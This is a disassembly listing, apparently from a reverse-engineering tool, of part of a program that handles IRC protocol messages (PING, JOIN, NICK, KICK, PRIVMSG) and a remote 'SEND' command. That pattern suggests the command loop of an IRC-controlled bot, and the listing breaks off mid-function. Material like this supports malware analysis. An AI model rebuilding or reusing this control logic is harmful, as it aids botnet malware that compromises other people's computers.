var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


